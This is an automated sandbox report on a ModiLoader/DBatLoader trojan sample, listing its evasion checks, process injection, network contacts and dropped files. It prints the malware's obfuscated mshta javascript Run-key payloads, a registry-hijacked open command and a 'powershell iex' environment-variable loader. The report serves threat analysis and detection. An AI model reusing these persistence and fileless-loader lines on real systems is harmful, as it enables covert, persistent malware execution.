Malware Analysis Report

2024-08-06 14:15

Sample ID 240616-srlczsybmf
Target b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118
SHA256 0d4df276ac210da10aa6ad75e8b130cbda829e76ce314cc48764d59f5d9d766f
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

0d4df276ac210da10aa6ad75e8b130cbda829e76ce314cc48764d59f5d9d766f

Threat Level: Known bad

The file b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

Process spawned unexpected child process

ModiLoader, DBatLoader

Checks for common network interception software

Looks for VirtualBox Guest Additions in registry

ModiLoader Second Stage

Looks for VirtualBox drivers on disk

Looks for VMWare Tools registry key

Checks BIOS information in registry

Checks computer location settings

Deletes itself

Drops startup file

Adds Run key to start application

Maps connected drives based on registry

Drops file in System32 directory

Suspicious use of SetThreadContext

Enumerates physical storage devices

Unsigned PE

Suspicious behavior: EnumeratesProcesses

Suspicious use of SetWindowsHookEx

Suspicious behavior: MapViewOfSection

Modifies registry class

Modifies Internet Explorer settings

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-06-16 15:21

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-16 15:21

Reported

2024-06-16 15:24

Platform

win7-20231129-en

Max time kernel

150s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VirtualBox drivers on disk

evasion
Description Indicator Process Target
File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
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Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\be0980.lnk C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:xyLEeYk0=\"knWYfaTI2H\";V25r=new%20ActiveXObject(\"WScript.Shell\");tA2Nha8lr=\"PCA7OA5QlJ\";Yggf7=V25r.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\hsgrudze\\\\zdxvakv\");AUhzJWV2=\"QnXp\";eval(Yggf7);zWJTt0zEW=\"HywxEX\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:UjDi1ljy=\"1c\";T29f=new%20ActiveXObject(\"WScript.Shell\");M5OOYHfr0=\"IMmTQIfKO\";sE3vD3=T29f.RegRead(\"HKCU\\\\software\\\\hsgrudze\\\\zdxvakv\");xnmiF5Xm=\"wH95Kd0I\";eval(sE3vD3);hRMID1o9N=\"Vg3\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\416844\\eecdc5.lnk\"" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\81b494\shell\open\command\ = "mshta \"javascript:Fx63nijC=\"jz\";S17f=new ActiveXObject(\"WScript.Shell\");ItUu67OQU=\"PShpbnNi2G\";II0O4K=S17f.RegRead(\"HKCU\\\\software\\\\hsgrudze\\\\zdxvakv\");LbuAk7o9=\"j\";eval(II0O4K);DxnPa2BAr=\"Qv\";\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\.983f33d C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\.983f33d\ = "81b494" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\81b494 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\81b494\shell C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\81b494\shell\open C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\81b494\shell\open\command C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
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N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2820 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 2820 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 2820 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 2820 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 2820 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 2820 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 2820 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 2820 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 2820 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 2820 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 2820 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 2584 wrote to memory of 2596 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2584 wrote to memory of 2596 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2584 wrote to memory of 2596 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2584 wrote to memory of 2596 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2596 wrote to memory of 1696 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2596 wrote to memory of 1696 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2596 wrote to memory of 1696 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2596 wrote to memory of 1696 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2596 wrote to memory of 1696 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2596 wrote to memory of 1696 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2596 wrote to memory of 1696 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2596 wrote to memory of 1696 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1696 wrote to memory of 812 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1696 wrote to memory of 812 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1696 wrote to memory of 812 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1696 wrote to memory of 812 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1696 wrote to memory of 812 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1696 wrote to memory of 812 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1696 wrote to memory of 812 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1696 wrote to memory of 812 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:bThboW4l="7qFV";S8T=new%20ActiveXObject("WScript.Shell");wA0Ihqh5="FUHPS6f";P1Iia=S8T.RegRead("HKLM\\software\\Wow6432Node\\uloK5t34\\zlWfQJc");iYvO9IAP="Nk6";eval(P1Iia);cV9Hfap0="2WZW2MUrCN";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:cytupqk

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
N/A 10.103.240.119:80 tcp
EG 105.180.30.119:80 tcp
VE 181.19.24.54:80 tcp
US 56.163.99.110:8080 tcp
US 152.221.77.80:80 tcp
US 173.213.152.75:80 tcp
US 67.61.107.252:80 tcp
CA 203.31.245.70:80 tcp
US 215.215.152.36:8080 tcp
US 204.236.248.96:80 tcp
US 72.129.124.189:80 tcp
DE 164.20.222.255:8080 tcp
US 131.3.221.29:8080 tcp
US 56.168.90.111:80 tcp
AU 20.211.188.32:80 tcp
US 68.234.48.234:80 tcp
CN 222.77.175.48:80 tcp
CN 218.196.66.172:80 tcp
AT 194.96.71.232:80 tcp
CN 36.7.169.71:80 tcp
BR 187.6.94.224:443 tcp
CN 118.88.55.119:80 tcp
US 28.239.28.40:80 tcp
AR 190.193.69.218:80 tcp
US 205.127.15.112:8080 tcp
DE 62.9.33.58:80 tcp
US 6.221.8.128:80 tcp
SA 100.5.90.53:80 tcp
US 75.210.45.179:80 tcp
JP 61.208.141.136:80 tcp
GB 31.114.127.83:80 tcp
US 40.237.169.30:80 tcp
PH 104.29.12.208:80 tcp
MX 132.248.81.120:443 tcp
CN 110.48.179.66:8080 tcp
BR 179.127.177.13:80 tcp
BR 187.97.130.209:80 tcp
US 215.63.41.171:80 tcp
US 32.83.40.247:80 tcp
US 141.225.130.36:8080 tcp
US 9.137.98.195:8080 tcp
CN 111.63.153.161:8080 tcp
AT 145.241.65.32:80 tcp
GB 2.97.29.210:80 tcp
RS 5.22.162.134:80 tcp
CN 115.192.184.253:80 tcp
US 100.174.169.218:80 tcp
US 214.251.217.232:80 tcp
US 26.109.239.180:443 tcp
BR 179.153.15.51:80 tcp
KR 112.168.158.231:80 tcp
US 32.241.132.206:80 tcp
PL 188.146.246.215:80 tcp
US 4.25.31.52:8080 tcp
US 136.59.99.166:443 tcp
CN 118.118.226.234:80 tcp
US 131.106.17.61:8080 tcp
GB 86.27.239.159:80 tcp
JP 133.31.89.137:80 tcp
DE 160.60.207.115:80 tcp
BR 135.112.184.63:80 tcp
JP 150.5.132.131:80 tcp
US 168.14.168.212:80 tcp
US 8.198.171.21:80 tcp
IT 23.12.111.235:80 tcp
KR 210.183.75.103:80 tcp
TG 196.170.42.62:80 tcp
US 199.177.99.99:80 tcp
CN 27.149.227.128:80 tcp
US 184.14.33.88:80 tcp
CL 190.44.53.94:80 tcp
US 66.85.5.63:80 tcp
JP 126.8.127.137:8080 tcp
DE 3.70.112.226:80 tcp
US 70.194.91.70:80 tcp
US 184.189.170.46:80 tcp
US 205.141.242.237:80 tcp
CH 62.171.23.47:80 tcp
US 20.141.252.250:80 tcp
PL 193.32.50.27:80 tcp
CN 223.77.174.164:80 tcp
US 76.6.235.230:80 tcp
US 174.145.129.206:80 tcp
ZA 105.249.176.78:80 tcp
SE 66.111.252.206:80 tcp
US 152.80.235.185:80 tcp
KR 106.248.234.245:80 tcp
KR 114.205.8.84:80 tcp
US 19.17.192.66:443 tcp
JP 221.189.187.146:80 tcp
SG 168.161.27.162:80 tcp
IN 35.244.9.254:8080 tcp
IT 87.19.197.37:8080 tcp
US 19.70.68.91:80 tcp
US 63.249.45.216:80 tcp
DE 3.124.28.131:80 tcp
CN 125.97.146.25:80 tcp
CN 124.207.51.170:80 tcp
US 7.57.215.122:80 tcp
KR 54.116.44.243:80 tcp
CA 153.79.33.242:80 tcp
IT 93.44.112.189:80 tcp
AR 152.170.74.160:80 tcp
FR 91.121.73.190:80 tcp
US 63.169.172.157:80 tcp
US 184.25.44.250:80 tcp
CA 153.51.166.145:80 tcp
FR 163.74.243.95:80 tcp
US 131.240.29.80:80 tcp
MX 187.188.159.163:80 tcp
DE 212.114.154.144:8080 tcp
US 104.20.252.188:80 tcp
US 104.20.252.188:80 104.20.252.188 tcp
US 205.98.82.195:80 tcp
KR 101.55.75.235:80 tcp
CN 119.4.186.33:80 tcp
US 54.57.61.251:80 tcp
US 136.150.125.167:80 tcp
BR 189.55.137.137:80 tcp
SA 46.152.67.150:80 tcp
US 184.57.64.136:80 tcp
US 50.242.114.81:80 tcp
NL 188.203.223.179:80 tcp
IT 79.41.131.94:80 tcp
US 16.18.176.157:80 tcp
US 13.67.244.10:443 tcp
US 45.77.110.200:80 tcp
US 135.151.170.211:80 tcp
KR 220.79.248.242:80 tcp
ZA 213.193.34.199:80 tcp
US 12.245.222.51:443 tcp
US 35.223.25.113:80 tcp
RO 193.226.60.243:80 tcp
BR 45.131.227.44:80 tcp
VN 171.252.240.32:80 tcp
DO 152.166.192.46:80 tcp
US 68.246.128.86:80 tcp

Files

memory/1960-3-0x0000000000400000-0x0000000000439000-memory.dmp

memory/1960-7-0x0000000000400000-0x0000000000439000-memory.dmp

memory/1960-8-0x0000000000400000-0x0000000000439000-memory.dmp

memory/1960-9-0x0000000001D00000-0x0000000001DD4000-memory.dmp

memory/1960-12-0x0000000001D00000-0x0000000001DD4000-memory.dmp

memory/1960-11-0x0000000001D00000-0x0000000001DD4000-memory.dmp

memory/1960-10-0x0000000001D00000-0x0000000001DD4000-memory.dmp

memory/1960-14-0x0000000001D00000-0x0000000001DD4000-memory.dmp

memory/1960-15-0x0000000001D00000-0x0000000001DD4000-memory.dmp

memory/2596-24-0x0000000006150000-0x0000000006224000-memory.dmp

memory/1696-26-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-32-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-33-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-31-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-30-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-35-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-27-0x0000000000160000-0x000000000029E000-memory.dmp

memory/2596-29-0x0000000006150000-0x0000000006224000-memory.dmp

memory/1696-39-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-48-0x0000000000160000-0x000000000029E000-memory.dmp

memory/2596-28-0x0000000002CC0000-0x0000000004CC0000-memory.dmp

memory/1696-62-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-68-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-51-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-50-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-69-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-49-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-59-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-58-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-57-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-47-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-46-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-45-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-44-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-43-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-42-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-41-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-40-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-38-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-37-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-36-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-34-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-61-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-52-0x0000000000160000-0x000000000029E000-memory.dmp

memory/812-75-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-76-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-89-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-88-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-87-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-86-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-85-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-84-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-83-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-82-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-81-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-80-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-79-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-78-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-77-0x00000000001E0000-0x000000000031E000-memory.dmp

C:\Users\Admin\AppData\Local\416844\7efaba.bat

MD5 a9d3ea542d72c3d4eb6e79b37f9b265e
SHA1 9ef048c6a4cc72891fe4b6d8c3ae59e134711cb9
SHA256 d287a2bcc9c2485a60329a6bb94fb260bec57524e3098a5bd7c7cedf3e460314
SHA512 eba879b158972749be9a48b1ff0d7393f69960da48c1f8e92c3886d9cf16ae437ac5eea449f59de788cbf5b9033ebc78311f2b591f6d41631521a3f0ea24208b

C:\Users\Admin\AppData\Roaming\730a4b\791dbf.983f33d

MD5 5e436feaf5bff11338e6c2d2cc27a386
SHA1 e6a51ba90373c85a53e475ef2a31a8ed72b4d7bd
SHA256 7bb60bc2c669b1d863d458c66ebbf5f8dba994ff4ced3ad8f7bff23a8ee020b1
SHA512 2cce44d005ea0bddeb294de941c6cce701a198d42b12fd2b2bd2e37ed209067d60ee1993d573eb1fea2541837228bdbf201c1d92d088df2a4f5012cee5c1803e

C:\Users\Admin\AppData\Local\416844\eecdc5.lnk

MD5 0b9b2889adaa01b84df3cfe6c10e0873
SHA1 13993bba5a8349571ebbc472c2bd74d05a4ae41d
SHA256 20fc72ab6ba4ee81174ed98e36399aecbe99345cdb2b098d71a896b68b3f4806
SHA512 04bd86fd25bdf89ebb1371d170782824426d80af99b1a7100e1ba181cc341a6a38ae5027dbb2710582e0aedb0e66d4aab0534db8bbf45adde0fff3b436ee85df

C:\Users\Admin\AppData\Local\416844\1a6bc1.983f33d

MD5 aab40d46a7310cfadff882530acb126a
SHA1 7d6a6f80fc4754429d514d033459a7f4d7e71952
SHA256 2b99dfcf56844a5fd6892a1cca68e7cdf752c2444597d973cb43cd9adb64063d
SHA512 8cd794eb3ed89eea57610fbc8803b4c504faf716661760f67e93801aed1c90ff64faeddb69a845d211d6ea0204b00be730756004e5c85fcfcd320a6e81a6b9a4

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\be0980.lnk

MD5 06e941575744568f7aec743dbf7a820a
SHA1 dcd052402d06c205c2a1165ef9d8d25fc568dc32
SHA256 d0018cd9efebd743d94c0c6ce0ecaa35bc81b61d8a722194efdfd93e5c56bf7b
SHA512 a8a30ec67923e5cddf0d5d3b8abfd60a63f78920d33a9bfb4b3df9aae179ee055dda77800b6f3da6edb8f99c7c31f3b1ce915c723a849e230db8765f9b0b4ba1

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-16 15:21

Reported

2024-06-16 15:24

Platform

win10v2004-20240611-en

Max time kernel

149s

Max time network

149s

Command Line

"C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation C:\Windows\system32\mshta.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4400 wrote to memory of 1920 N/A C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 4400 wrote to memory of 1920 N/A C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 4400 wrote to memory of 1920 N/A C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 4400 wrote to memory of 1920 N/A C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 4400 wrote to memory of 1920 N/A C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 4400 wrote to memory of 1920 N/A C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 4400 wrote to memory of 1920 N/A C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
